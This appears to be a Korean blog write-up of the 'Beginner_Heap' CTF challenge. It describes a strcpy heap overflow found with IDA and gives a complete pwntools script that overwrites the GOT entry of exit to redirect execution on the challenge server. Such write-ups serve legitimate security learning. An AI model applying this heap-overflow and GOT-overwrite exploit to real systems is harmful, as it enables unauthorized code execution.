728x90
- Beginner_Heap
: 문제에서 주어진 파일을 IDA_64bit로 열게 되면, 아래와 같은 코드를 확인할 수 있다.
먼저 main에서 v3에서는 8바이트, v4에서는 16바이트를 malloc 함수로 동적할당을 받고 있는 것을 확인할 수 있다.
여기서 추가적으로 v3+1에 8바이트, v4+1에 8바이트가 동적 할당을 받고 있다는 것을 확인할 수 있다.
메인 함수를 보면 strcpy 함수가 있어서 heapoverflow를 이용하여 문제를 해결할 것이라 추측할 수 있는데요.
strcpy 함수에 의해 s 변수에 최대 4096바이트(0x1000) 크기의 값을 입력받고 v3+1에 저장한다. 또한 v4+1에서도 같이 적용된다.
여기서 문제는 동적할당 한 크기 보다 입력받는 크기가 더 크다는 점에서 heapoverflow를 일어나는 것을 확인 할 수있다.
v4+1 (8byte) |
v4 (16byte) |
v3+1 (8byte) |
v3 (8byte) |
: 위의 함수에 따라서 스택구조는 이와 같이 되어 있을 것이고, 첫 번째 입력시에 버퍼값을 쓰래기 값으로 채워 덮여질 주소 4바이트를 추가한 총 44바이트를 입력한다. 후에 2번째 입력을 받을 때 got 주소를 넣어 flag 값을 구할 수 있다.
from pwn import*
p = remote("ctf.j0n9hyun.xyz", 3016)
e = ELF("./beginner_heap.bin")
payload1 = "A"*40 + p64 (e.got['exit'])
payload2 = p64(0x400826)
p.sendline(payload1)
p.sendline(payload2)
p.interactive()
https://ctf.j0n9hyun.xyz/challenges#Beginner_Heap
'문제 풀이' 카테고리의 다른 글
[2022 Reversing D+14] abex crackme 01, 02 (0) | 2022.02.15 |
---|---|
[2022 CTF] 리버싱 - Day 13 (0) | 2022.02.14 |
[Dreamhack] basic_exploitation_003 문제 풀이 (0) | 2022.02.09 |
[Dreamhack] basic_exploitation_001, 002 문제 풀이 (0) | 2022.01.29 |
[2022 CTF] 포너블 - Day2 (0) | 2022.01.26 |